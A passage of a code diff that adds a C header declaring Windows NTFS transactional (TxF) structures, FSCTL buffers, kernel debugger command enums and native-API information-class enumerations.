LoggingMode; + + // + // Reserved. + // + + USHORT Reserved; + + // + // Activity state of the RM. May be exactly one of the above-defined TXF_RM_STATE_ values. + // + + ULONG RmState; + + // + // Total capacity of the log in bytes. + // + + ULONGLONG LogCapacity; + + // + // Amount of free space in the log in bytes. + // + + ULONGLONG LogFree; + + // + // Size of $Tops in bytes. + // + + ULONGLONG TopsSize; + + // + // Amount of space in $Tops in use. + // + + ULONGLONG TopsUsed; + + // + // Number of transactions active in the RM at the time of the call. + // + + ULONGLONG TransactionCount; + + // + // Total number of single-phase commits that have happened the RM. + // + + ULONGLONG OnePCCount; + + // + // Total number of two-phase commits that have happened the RM. + // + + ULONGLONG TwoPCCount; + + // + // Number of times the log has filled up. + // + + ULONGLONG NumberLogFileFull; + + // + // Age of oldest active transaction in the RM, in milliseconds. + // + + ULONGLONG OldestTransactionAge; + + GUID RMName; + + ULONG TmLogPathOffset; + +} TXFS_QUERY_RM_INFORMATION, + *PTXFS_QUERY_RM_INFORMATION; + +#define TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_REDO_LSN 0x01 +#define TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_VIRTUAL_CLOCK 0x02 + +#define TXFS_ROLLFORWARD_REDO_VALID_FLAGS \ + (TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_REDO_LSN | \ + TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_VIRTUAL_CLOCK) + +typedef struct _TXFS_ROLLFORWARD_REDO_INFORMATION { + LARGE_INTEGER LastVirtualClock; + ULONGLONG LastRedoLsn; + ULONGLONG HighestRecoveryLsn; + ULONG Flags; +} TXFS_ROLLFORWARD_REDO_INFORMATION, + *PTXFS_ROLLFORWARD_REDO_INFORMATION; + +#define TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MAX 0x00000001 +#define TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MIN 0x00000002 +#define TXFS_START_RM_FLAG_LOG_CONTAINER_SIZE 0x00000004 +#define TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS 0x00000008 +#define TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT 0x00000010 +#define TXFS_START_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE 0x00000020 +#define TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX 0x00000040 +#define TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN 0x00000080 + +#define TXFS_START_RM_FLAG_RECOVER_BEST_EFFORT 0x00000200 +#define TXFS_START_RM_FLAG_LOGGING_MODE 0x00000400 +#define TXFS_START_RM_FLAG_PRESERVE_CHANGES 0x00000800 + +#define TXFS_START_RM_FLAG_PREFER_CONSISTENCY 0x00001000 +#define TXFS_START_RM_FLAG_PREFER_AVAILABILITY 0x00002000 + +#define TXFS_START_RM_VALID_FLAGS \ + (TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MAX | \ + TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MIN | \ + TXFS_START_RM_FLAG_LOG_CONTAINER_SIZE | \ + TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ + TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ + TXFS_START_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE | \ + TXFS_START_RM_FLAG_RECOVER_BEST_EFFORT | \ + TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ + TXFS_START_RM_FLAG_LOGGING_MODE | \ + TXFS_START_RM_FLAG_PRESERVE_CHANGES | \ + TXFS_START_RM_FLAG_PREFER_CONSISTENCY | \ + TXFS_START_RM_FLAG_PREFER_AVAILABILITY) + +typedef struct _TXFS_START_RM_INFORMATION { + + // + // TXFS_START_RM_FLAG_* flags. + // + + ULONG Flags; + + // + // RM log container size, in bytes. This parameter is optional. + // + + ULONGLONG LogContainerSize; + + // + // RM minimum log container count. This parameter is optional. + // + + ULONG LogContainerCountMin; + + // + // RM maximum log container count. This parameter is optional. + // + + ULONG LogContainerCountMax; + + // + // RM log growth increment in number of containers or percent, as indicated + // by TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_* flag. This parameter is + // optional. + // + + ULONG LogGrowthIncrement; + + // + // RM log auto shrink percentage. This parameter is optional. + // + + ULONG LogAutoShrinkPercentage; + + // + // Offset from the beginning of this structure to the log path for the KTM + // instance to be used by this RM. This must be a two-byte (WCHAR) aligned + // value. This parameter is required. + // + + ULONG TmLogPathOffset; + + // + // Length in bytes of log path for the KTM instance to be used by this RM. + // This parameter is required. + // + + USHORT TmLogPathLength; + + // + // Logging mode for this RM. One of TXFS_LOGGING_MODE_SIMPLE or + // TXFS_LOGGING_MODE_FULL (mutually exclusive). This parameter is optional, + // and will default to TXFS_LOGGING_MODE_SIMPLE. + // + + USHORT LoggingMode; + + // + // Length in bytes of the path to the log to be used by the RM. This parameter + // is required. + // + + USHORT LogPathLength; + + // + // Reserved. + // + + USHORT Reserved; + + // + // The path to the log (in Unicode characters) to be used by the RM goes here. + // This parameter is required. + // + + WCHAR LogPath[1]; + +} TXFS_START_RM_INFORMATION, + *PTXFS_START_RM_INFORMATION; + +// +// Structures for FSCTL_TXFS_GET_METADATA_INFO +// + +typedef struct _TXFS_GET_METADATA_INFO_OUT { + + // + // Returns the TxfId of the file referenced by the handle used to call this routine. + // + + struct { + LONGLONG LowPart; + LONGLONG HighPart; + } TxfFileId; + + // + // The GUID of the transaction that has the file locked, if applicable. + // + + GUID LockingTransaction; + + // + // Returns the LSN for the most recent log record we've written for the file. + // + + ULONGLONG LastLsn; + + // + // Transaction state, a TXFS_TRANSACTION_STATE_* value. + // + + ULONG TransactionState; + +} TXFS_GET_METADATA_INFO_OUT, *PTXFS_GET_METADATA_INFO_OUT; + +#define TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_CREATED 0x00000001 +#define TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_DELETED 0x00000002 + +typedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY { + + // + // Offset in bytes from the beginning of the TXFS_LIST_TRANSACTION_LOCKED_FILES + // structure to the next TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY. + // + + ULONGLONG Offset; + + // + // TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_* flags to indicate whether the + // current name was deleted or created in the transaction. + // + + ULONG NameFlags; + + // + // NTFS File ID of the file. + // + + LONGLONG FileId; + + // + // Reserved. + // + + ULONG Reserved1; + ULONG Reserved2; + LONGLONG Reserved3; + + // + // NULL-terminated Unicode path to this file, relative to RM root. + // + + WCHAR FileName[1]; +} TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY, *PTXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY; + + +typedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES { + + // + // GUID name of the KTM transaction that files should be enumerated from. + // + + GUID KtmTransaction; + + // + // On output, the number of files involved in the transaction on this RM. + // + + ULONGLONG NumberOfFiles; + + // + // The length of the buffer required to obtain the complete list of files. + // This value may change from call to call as the transaction locks more files. + // + + ULONGLONG BufferSizeRequired; + + // + // Offset in bytes from the beginning of this structure to the first + // TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY. + // + + ULONGLONG Offset; +} TXFS_LIST_TRANSACTION_LOCKED_FILES, *PTXFS_LIST_TRANSACTION_LOCKED_FILES; + +// +// Structures for FSCTL_TXFS_LIST_TRANSACTIONS +// + +typedef struct _TXFS_LIST_TRANSACTIONS_ENTRY { + + // + // Transaction GUID. + // + + GUID TransactionId; + + // + // Transaction state, a TXFS_TRANSACTION_STATE_* value. + // + + ULONG TransactionState; + + // + // Reserved fields + // + + ULONG Reserved1; + ULONG Reserved2; + LONGLONG Reserved3; +} TXFS_LIST_TRANSACTIONS_ENTRY, *PTXFS_LIST_TRANSACTIONS_ENTRY; + +typedef struct _TXFS_LIST_TRANSACTIONS { + + // + // On output, the number of transactions involved in this RM. + // + + ULONGLONG NumberOfTransactions; + + // + // The length of the buffer required to obtain the complete list of + // transactions. Note that this value may change from call to call + // as transactions enter and exit the system. + // + + ULONGLONG BufferSizeRequired; +} TXFS_LIST_TRANSACTIONS, *PTXFS_LIST_TRANSACTIONS; + + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4201) // unnamed struct + +typedef struct _TXFS_READ_BACKUP_INFORMATION_OUT { + union { + + // + // Used to return the required buffer size if return code is STATUS_BUFFER_OVERFLOW + // + + ULONG BufferLength; + + // + // On success the data is copied here. + // + + UCHAR Buffer[1]; + } DUMMYUNIONNAME; +} TXFS_READ_BACKUP_INFORMATION_OUT, *PTXFS_READ_BACKUP_INFORMATION_OUT; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning( default : 4201 ) +#endif + +typedef struct _TXFS_WRITE_BACKUP_INFORMATION { + UCHAR Buffer[1]; +} TXFS_WRITE_BACKUP_INFORMATION, *PTXFS_WRITE_BACKUP_INFORMATION; + +#define TXFS_TRANSACTED_VERSION_NONTRANSACTED 0xFFFFFFFE +#define TXFS_TRANSACTED_VERSION_UNCOMMITTED 0xFFFFFFFF + +typedef struct _TXFS_GET_TRANSACTED_VERSION { + + // + // The version that this handle is opened to. This will be + // TXFS_TRANSACTED_VERSION_UNCOMMITTED for nontransacted and + // transactional writer handles. + // + + ULONG ThisBaseVersion; + + // + // The most recent committed version available. + // + + ULONG LatestVersion; + + // + // If this is a handle to a miniversion, the ID of the miniversion. + // If it is not a handle to a minivers, this field will be 0. + // + + USHORT ThisMiniVersion; + + // + // The first available miniversion. Unless the miniversions are + // visible to the transaction bound to this handle, this field will be zero. + // + + USHORT FirstMiniVersion; + + // + // The latest available miniversion. Unless the miniversions are + // visible to the transaction bound to this handle, this field will be zero. + // + + USHORT LatestMiniVersion; + +} TXFS_GET_TRANSACTED_VERSION, *PTXFS_GET_TRANSACTED_VERSION; + + +#define TXFS_SAVEPOINT_SET 0x00000001 + +// +// Roll back to a specified savepoint. +// + +#define TXFS_SAVEPOINT_ROLLBACK 0x00000002 + +// +// Clear (make unavailable for rollback) the most recently set savepoint +// that has not yet been cleared. +// + +#define TXFS_SAVEPOINT_CLEAR 0x00000004 + +// +// Clear all savepoints from the transaction. +// + +#define TXFS_SAVEPOINT_CLEAR_ALL 0x00000010 + +typedef struct _TXFS_SAVEPOINT_INFORMATION { + HANDLE KtmTransaction; + ULONG ActionCode; + ULONG SavepointId; +} TXFS_SAVEPOINT_INFORMATION, *PTXFS_SAVEPOINT_INFORMATION; + + +typedef struct _TXFS_CREATE_MINIVERSION_INFO { + + USHORT StructureVersion; + USHORT StructureLength; + ULONG BaseVersion; + USHORT MiniVersion; +} TXFS_CREATE_MINIVERSION_INFO, *PTXFS_CREATE_MINIVERSION_INFO; + + +typedef struct _TXFS_TRANSACTION_ACTIVE_INFO { + BOOLEAN TransactionsActiveAtSnapshot; + +} TXFS_TRANSACTION_ACTIVE_INFO, *PTXFS_TRANSACTION_ACTIVE_INFO; + +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0601) + +typedef struct _BOOT_AREA_INFO { + + ULONG BootSectorCount; // the count of boot sectors present on the file system + struct { + LARGE_INTEGER Offset; + } BootSectors[2]; // variable number of boot sectors. + +} BOOT_AREA_INFO, *PBOOT_AREA_INFO; + +typedef struct _RETRIEVAL_POINTER_BASE { + + LARGE_INTEGER FileAreaOffset; // sector offset to the first allocatable unit on the filesystem +} RETRIEVAL_POINTER_BASE, *PRETRIEVAL_POINTER_BASE; + +typedef struct _FILE_FS_PERSISTENT_VOLUME_INFORMATION { + + ULONG VolumeFlags; + ULONG FlagMask; + ULONG Version; + ULONG Reserved; + +} FILE_FS_PERSISTENT_VOLUME_INFORMATION, *PFILE_FS_PERSISTENT_VOLUME_INFORMATION; + +typedef struct _FILE_SYSTEM_RECOGNITION_INFORMATION { + + CHAR FileSystem[9]; + +} FILE_SYSTEM_RECOGNITION_INFORMATION, *PFILE_SYSTEM_RECOGNITION_INFORMATION; + +#define OPLOCK_LEVEL_CACHE_READ (0x00000001) +#define OPLOCK_LEVEL_CACHE_HANDLE (0x00000002) +#define OPLOCK_LEVEL_CACHE_WRITE (0x00000004) + +#define REQUEST_OPLOCK_INPUT_FLAG_REQUEST (0x00000001) +#define REQUEST_OPLOCK_INPUT_FLAG_ACK (0x00000002) +#define REQUEST_OPLOCK_INPUT_FLAG_COMPLETE_ACK_ON_CLOSE (0x00000004) + +#define REQUEST_OPLOCK_CURRENT_VERSION 1 + +typedef struct _REQUEST_OPLOCK_INPUT_BUFFER { + + // + // This should be set to REQUEST_OPLOCK_CURRENT_VERSION. + // + + USHORT StructureVersion; + + USHORT StructureLength; + + // + // One or more OPLOCK_LEVEL_CACHE_* values to indicate the desired level of the oplock. + // + + ULONG RequestedOplockLevel; + + // + // REQUEST_OPLOCK_INPUT_FLAG_* flags. + // + + ULONG Flags; + +} REQUEST_OPLOCK_INPUT_BUFFER, *PREQUEST_OPLOCK_INPUT_BUFFER; + +#define REQUEST_OPLOCK_OUTPUT_FLAG_ACK_REQUIRED (0x00000001) +#define REQUEST_OPLOCK_OUTPUT_FLAG_MODES_PROVIDED (0x00000002) + +typedef struct _REQUEST_OPLOCK_OUTPUT_BUFFER { + + USHORT StructureVersion; + + USHORT StructureLength; + + ULONG OriginalOplockLevel; + + ULONG NewOplockLevel; + + ULONG Flags; + + ACCESS_MASK AccessMode; + + USHORT ShareMode; + +} REQUEST_OPLOCK_OUTPUT_BUFFER, *PREQUEST_OPLOCK_OUTPUT_BUFFER; + + +#define SD_GLOBAL_CHANGE_TYPE_MACHINE_SID 1 + +typedef struct _SD_CHANGE_MACHINE_SID_INPUT { + + USHORT CurrentMachineSIDOffset; + USHORT CurrentMachineSIDLength; + + USHORT NewMachineSIDOffset; + USHORT NewMachineSIDLength; + +} SD_CHANGE_MACHINE_SID_INPUT, *PSD_CHANGE_MACHINE_SID_INPUT; + +typedef struct _SD_CHANGE_MACHINE_SID_OUTPUT { + + // + // How many entries were successfully changed in the $Secure stream + // + + ULONGLONG NumSDChangedSuccess; + + // + // How many entires failed the update in the $Secure stream + // + + ULONGLONG NumSDChangedFail; + + // + // How many entires are unused in the current security stream + // + + ULONGLONG NumSDUnused; + + // + // The total number of entries processed in the $Secure stream + // + + ULONGLONG NumSDTotal; + + // + // How many entries were successfully changed in the $MFT file + // + + ULONGLONG NumMftSDChangedSuccess; + + // + // How many entries failed the update in the $MFT file + // + + ULONGLONG NumMftSDChangedFail; + + // + // Total number of entriess process in the $MFT file + // + + ULONGLONG NumMftSDTotal; + +} SD_CHANGE_MACHINE_SID_OUTPUT, *PSD_CHANGE_MACHINE_SID_OUTPUT; + +// +// Generic INPUT & OUTPUT structures for FSCTL_SD_GLOBAL_CHANGE +// + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4201) // unnamed struct + +typedef struct _SD_GLOBAL_CHANGE_INPUT +{ + // + // Input flags (none currently defined) + // + + ULONG Flags; + + // + // Specifies which type of change we are doing and pics which member + // of the below union is in use. + // + + ULONG ChangeType; + + union { + + SD_CHANGE_MACHINE_SID_INPUT SdChange; + }; + +} SD_GLOBAL_CHANGE_INPUT, *PSD_GLOBAL_CHANGE_INPUT; + +typedef struct _SD_GLOBAL_CHANGE_OUTPUT +{ + + // + // Output State Flags (none currently defined) + // + + ULONG Flags; + + // + // Specifies which below union to use + // + + ULONG ChangeType; + + union { + + SD_CHANGE_MACHINE_SID_OUTPUT SdChange; + }; + +} SD_GLOBAL_CHANGE_OUTPUT, *PSD_GLOBAL_CHANGE_OUTPUT; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning( default : 4201 ) /* nonstandard extension used : nameless struct/union */ +#endif + +// +// Flag to indicate the encrypted file is sparse +// + +#define ENCRYPTED_DATA_INFO_SPARSE_FILE 1 + +typedef struct _EXTENDED_ENCRYPTED_DATA_INFO { + + ULONG ExtendedCode; + ULONG Length; + ULONG Flags; + ULONG Reserved; + +} EXTENDED_ENCRYPTED_DATA_INFO, *PEXTENDED_ENCRYPTED_DATA_INFO; + + +typedef struct _LOOKUP_STREAM_FROM_CLUSTER_INPUT { + ULONG Flags; + ULONG NumberOfClusters; + LARGE_INTEGER Cluster[1]; +} LOOKUP_STREAM_FROM_CLUSTER_INPUT, *PLOOKUP_STREAM_FROM_CLUSTER_INPUT; + +typedef struct _LOOKUP_STREAM_FROM_CLUSTER_OUTPUT { + ULONG Offset; + ULONG NumberOfMatches; + ULONG BufferSizeRequired; +} LOOKUP_STREAM_FROM_CLUSTER_OUTPUT, *PLOOKUP_STREAM_FROM_CLUSTER_OUTPUT; + +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_PAGE_FILE 0x00000001 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_DENY_DEFRAG_SET 0x00000002 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_FS_SYSTEM_FILE 0x00000004 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_TXF_SYSTEM_FILE 0x00000008 + +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_MASK 0xff000000 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_DATA 0x01000000 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_INDEX 0x02000000 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_SYSTEM 0x03000000 + +typedef struct _LOOKUP_STREAM_FROM_CLUSTER_ENTRY { + ULONG OffsetToNext; + ULONG Flags; + LARGE_INTEGER Reserved; + LARGE_INTEGER Cluster; + WCHAR FileName[1]; +} LOOKUP_STREAM_FROM_CLUSTER_ENTRY, *PLOOKUP_STREAM_FROM_CLUSTER_ENTRY; + +typedef struct _FILE_TYPE_NOTIFICATION_INPUT { + + ULONG Flags; + ULONG NumFileTypeIDs; + GUID FileTypeID[1]; + +} FILE_TYPE_NOTIFICATION_INPUT, *PFILE_TYPE_NOTIFICATION_INPUT; + +#define FILE_TYPE_NOTIFICATION_FLAG_USAGE_BEGIN 0x00000001 //Set when adding the specified usage on the given file +#define FILE_TYPE_NOTIFICATION_FLAG_USAGE_END 0x00000002 //Set when removing the specified usage on the given file + +DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_PAGE_FILE, 0x0d0a64a1, 0x38fc, 0x4db8, 0x9f, 0xe7, 0x3f, 0x43, 0x52, 0xcd, 0x7c, 0x5c ); +DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_HIBERNATION_FILE, 0xb7624d64, 0xb9a3, 0x4cf8, 0x80, 0x11, 0x5b, 0x86, 0xc9, 0x40, 0xe7, 0xb7 ); +DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_CRASHDUMP_FILE, 0x9d453eb7, 0xd2a6, 0x4dbd, 0xa2, 0xe3, 0xfb, 0xd0, 0xed, 0x91, 0x09, 0xa9 ); +#endif /* _WIN32_WINNT >= 0x0601 */ + +#endif // _FILESYSTEMFSCTL_ + +// 21.12.2011 - end + +// 09.06.2011 - end + +typedef enum _SYSDBG_COMMAND +{ + SysDbgQueryModuleInformation, + SysDbgQueryTraceInformation, + SysDbgSetTracepoint, + SysDbgSetSpecialCall, + SysDbgClearSpecialCalls, + SysDbgQuerySpecialCalls, + SysDbgBreakPoint, + SysDbgQueryVersion, + SysDbgReadVirtual, + SysDbgWriteVirtual, + SysDbgReadPhysical, + SysDbgWritePhysical, + SysDbgReadControlSpace, + SysDbgWriteControlSpace, + SysDbgReadIoSpace, + SysDbgWriteIoSpace, + SysDbgReadMsr, + SysDbgWriteMsr, + SysDbgReadBusData, + SysDbgWriteBusData, + SysDbgCheckLowMemory, + SysDbgEnableKernelDebugger, + SysDbgDisableKernelDebugger, + SysDbgGetAutoKdEnable, + SysDbgSetAutoKdEnable, + SysDbgGetPrintBufferSize, + SysDbgSetPrintBufferSize, + SysDbgGetKdUmExceptionEnable, + SysDbgSetKdUmExceptionEnable, + SysDbgGetTriageDump, + SysDbgGetKdBlockEnable, + SysDbgSetKdBlockEnable, + SysDbgRegisterForUmBreakInfo, + SysDbgGetUmBreakPid, + SysDbgClearUmBreakPid, + SysDbgGetUmAttachPid, + SysDbgClearUmAttachPid +} SYSDBG_COMMAND, *PSYSDBG_COMMAND; + +typedef struct _SYSDBG_VIRTUAL +{ + PVOID Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL; + +typedef struct _SYSDBG_PHYSICAL +{ + PHYSICAL_ADDRESS Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_PHYSICAL, *PSYSDBG_PHYSICAL; + +typedef struct _SYSDBG_CONTROL_SPACE +{ + ULONG64 Address; + PVOID Buffer; + ULONG Request; + ULONG Processor; +} SYSDBG_CONTROL_SPACE, *PSYSDBG_CONTROL_SPACE; + +typedef enum _INTERFACE_TYPE +{ + UnknownInterfaceType = 1 +} INTERFACE_TYPE ; + +typedef struct _SYSDBG_IO_SPACE +{ + ULONG64 Address; + PVOID Buffer; + ULONG Request; + enum _INTERFACE_TYPE InterfaceType; + ULONG BusNumber; + ULONG AddressSpace; +} SYSDBG_IO_SPACE, *PSYSDBG_IO_SPACE; + +typedef struct _SYSDBG_MSR +{ + ULONG Msr; + ULONG64 Data; +} SYSDBG_MSR, *PSYSDBG_MSR; + +typedef enum _BUS_DATA_TYPE +{ + ConfigurationSpaceUndefined = -1, + Cmos, + EisaConfiguration, + Pos, + CbusConfiguration, + PCIConfiguration, + VMEConfiguration, + NuBusConfiguration, + PCMCIAConfiguration, + MPIConfiguration, + MPSAConfiguration, + PNPISAConfiguration, + SgiInternalConfiguration, + MaximumBusDataType +} BUS_DATA_TYPE, *PBUS_DATA_TYPE; + +typedef struct _SYSDBG_BUS_DATA +{ + ULONG Address; + PVOID Buffer; + ULONG Request; + enum _BUS_DATA_TYPE BusDataType; + ULONG BusNumber; + ULONG SlotNumber; +} SYSDBG_BUS_DATA, *PSYSDBG_BUS_DATA; + +typedef struct _SYSDBG_TRIAGE_DUMP +{ + ULONG Flags; + ULONG BugCheckCode; + ULONG_PTR BugCheckParam1; + ULONG_PTR BugCheckParam2; + ULONG_PTR BugCheckParam3; + ULONG_PTR BugCheckParam4; + ULONG ProcessHandles; + ULONG ThreadHandles; + PHANDLE Handles; +} SYSDBG_TRIAGE_DUMP, *PSYSDBG_TRIAGE_DUMP; + +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation, + SystemProcessorInformation, + SystemPerformanceInformation, + SystemTimeOfDayInformation, + SystemPathInformation, + SystemProcessInformation, + SystemCallCountInformation, + SystemDeviceInformation, + SystemProcessorPerformanceInformation, + SystemFlagsInformation, + SystemCallTimeInformation, + SystemModuleInformation, + SystemLocksInformation, + SystemStackTraceInformation, + SystemPagedPoolInformation, + SystemNonPagedPoolInformation, + SystemHandleInformation, + SystemObjectInformation, + SystemPageFileInformation, + SystemVdmInstemulInformation, + SystemVdmBopInformation, + SystemFileCacheInformation, + SystemPoolTagInformation, + SystemInterruptInformation, + SystemDpcBehaviorInformation, + SystemFullMemoryInformation, + SystemLoadGdiDriverInformation, + SystemUnloadGdiDriverInformation, + SystemTimeAdjustmentInformation, + SystemSummaryMemoryInformation, + SystemMirrorMemoryInformation, + SystemPerformanceTraceInformation, + SystemObsolete0, + SystemExceptionInformation, + SystemCrashDumpStateInformation, + SystemKernelDebuggerInformation, + SystemContextSwitchInformation, + SystemRegistryQuotaInformation, + SystemExtendServiceTableInformation, + SystemPrioritySeperation, + SystemVerifierAddDriverInformation, + SystemVerifierRemoveDriverInformation, + SystemProcessorIdleInformation, + SystemLegacyDriverInformation, + SystemCurrentTimeZoneInformation, + SystemLookasideInformation, + SystemTimeSlipNotification, + SystemSessionCreate, + SystemSessionDetach, + SystemSessionInformation, + SystemRangeStartInformation, + SystemVerifierInformation, + SystemVerifierThunkExtend, + SystemSessionProcessInformation, + SystemLoadGdiDriverInSystemSpace, + SystemNumaProcessorMap, + SystemPrefetcherInformation, + SystemExtendedProcessInformation, + SystemRecommendedSharedDataAlignment, + SystemComPlusPackage, + SystemNumaAvailableMemory, + SystemProcessorPowerInformation, + SystemEmulationBasicInformation, // WOW64 + SystemEmulationProcessorInformation, // WOW64 + SystemExtendedHandleInformation, + SystemLostDelayedWriteInformation, + SystemBigPoolInformation, + SystemSessionPoolTagInformation, + SystemSessionMappedViewInformation, + SystemHotpatchInformation, + SystemObjectSecurityMode, + SystemWatchdogTimerHandler, + SystemWatchdogTimerInformation, + SystemLogicalProcessorInformation, + SystemWow64SharedInformation, + SystemRegisterFirmwareTableInformationHandler, + SystemFirmwareTableInformation, + SystemModuleInformationEx, + SystemVerifierTriageInformation, + SystemSuperfetchInformation, + SystemMemoryListInformation, + SystemFileCacheInformationEx, + SystemThreadPriorityClientIdInformation, + SystemProcessorIdleCycleTimeInformation, + SystemVerifierCancellationInformation, + SystemProcessorPowerInformationEx, + SystemRefTraceInformation, + SystemSpecialPoolInformation, + SystemProcessIdInformation, + SystemErrorPortInformation, + SystemBootEnvironmentInformation, + SystemHypervisorInformation, + SystemVerifierInformationEx, + SystemTimeZoneInformation, + SystemImageFileExecutionOptionsInformation, + SystemCoverageInformation, + SystemPrefetchPatchInformation, + SystemVerifierFaultsInformation, + SystemSystemPartitionInformation, + SystemSystemDiskInformation, + SystemProcessorPerformanceDistribution, + SystemNumaProximityNodeInformation, + SystemDynamicTimeZoneInformation, + SystemCodeIntegrityInformation, + SystemProcessorMicrocodeUpdateInformation, + SystemProcessorBrandString, + SystemVirtualAddressInformation, + MaxSystemInfoClass +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +typedef enum _EVENT_TRACE_INFORMATION_CLASS +{ + EventTraceKernelVersionInformation, + EventTraceGroupMaskInformation, + EventTracePerformanceInformation, + EventTraceTimeProfileInformation, + EventTraceSessionSecurityInformation, + MaxEventTraceInfoClass +} EVENT_TRACE_INFORMATION_CLASS, *PEVENT_TRACE_INFORMATION_CLASS; + +#define LOCK_QUEUE_WAIT 1 +#define LOCK_QUEUE_WAIT_BIT 0 + +#define LOCK_QUEUE_OWNER 2 +#define LOCK_QUEUE_OWNER_BIT 1 + +#define LOCK_QUEUE_TIMER_LOCK_SHIFT 4 +#define LOCK_QUEUE_TIMER_TABLE_LOCKS (1 << (8 - LOCK_QUEUE_TIMER_LOCK_SHIFT)) + +typedef enum _KSPIN_LOCK_QUEUE_NUMBER { + LockQueueDispatcherLock, + LockQueueUnusedSpare1, + LockQueuePfnLock, + LockQueueSystemSpaceLock, + LockQueueVacbLock, + LockQueueMasterLock, + LockQueueNonPagedPoolLock, + LockQueueIoCancelLock, + LockQueueWorkQueueLock, + LockQueueIoVpbLock, + LockQueueIoDatabaseLock, + LockQueueIoCompletionLock, + LockQueueNtfsStructLock, + LockQueueAfdWorkQueueLock, + LockQueueBcbLock, + LockQueueMmNonPagedPoolLock, + LockQueueUnusedSpare16, + LockQueueTimerTableLock, + LockQueueMaximumLock = LockQueueTimerTableLock + LOCK_QUEUE_TIMER_TABLE_LOCKS +} KSPIN_LOCK_QUEUE_NUMBER, *PKSPIN_LOCK_QUEUE_NUMBER; + +typedef enum _KPROFILE_SOURCE { + ProfileTime, + ProfileAlignmentFixup, + ProfileTotalIssues, + ProfilePipelineDry, + ProfileLoadInstructions, + ProfilePipelineFrozen, + ProfileBranchInstructions, + ProfileTotalNonissues, + ProfileDcacheMisses, + ProfileIcacheMisses, + ProfileCacheMisses, + ProfileBranchMispredictions, + ProfileStoreInstructions, + ProfileFpInstructions, + ProfileIntegerInstructions, + Profile2Issue, + Profile3Issue, + Profile4Issue, + ProfileSpecialInstructions, + ProfileTotalCycles, + ProfileIcacheIssues, + ProfileDcacheAccesses, + ProfileMemoryBarrierCycles, + ProfileLoadLinkedIssues, + ProfileMaximum +} KPROFILE_SOURCE; + +typedef enum _PROCESSINFOCLASS +{ + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + ProcessIoPriority, + ProcessExecuteFlags, + ProcessTlsInformation, + ProcessCookie, + ProcessImageInformation, + ProcessCycleTime, + ProcessPagePriority, + ProcessInstrumentationCallback, + ProcessThreadStackAllocation, + ProcessWorkingSetWatchEx, + ProcessImageFileNameWin32, + ProcessImageFileMapping, + ProcessAffinityUpdateMode, + ProcessMemoryAllocationMode, + ProcessGroupInformation, + ProcessTokenVirtualizationEnabled, + ProcessConsoleHostProcess, + ProcessWindowInformation, + MaxProcessInfoClass +} PROCESSINFOCLASS; + +typedef enum _THREADINFOCLASS { + ThreadBasicInformation, + 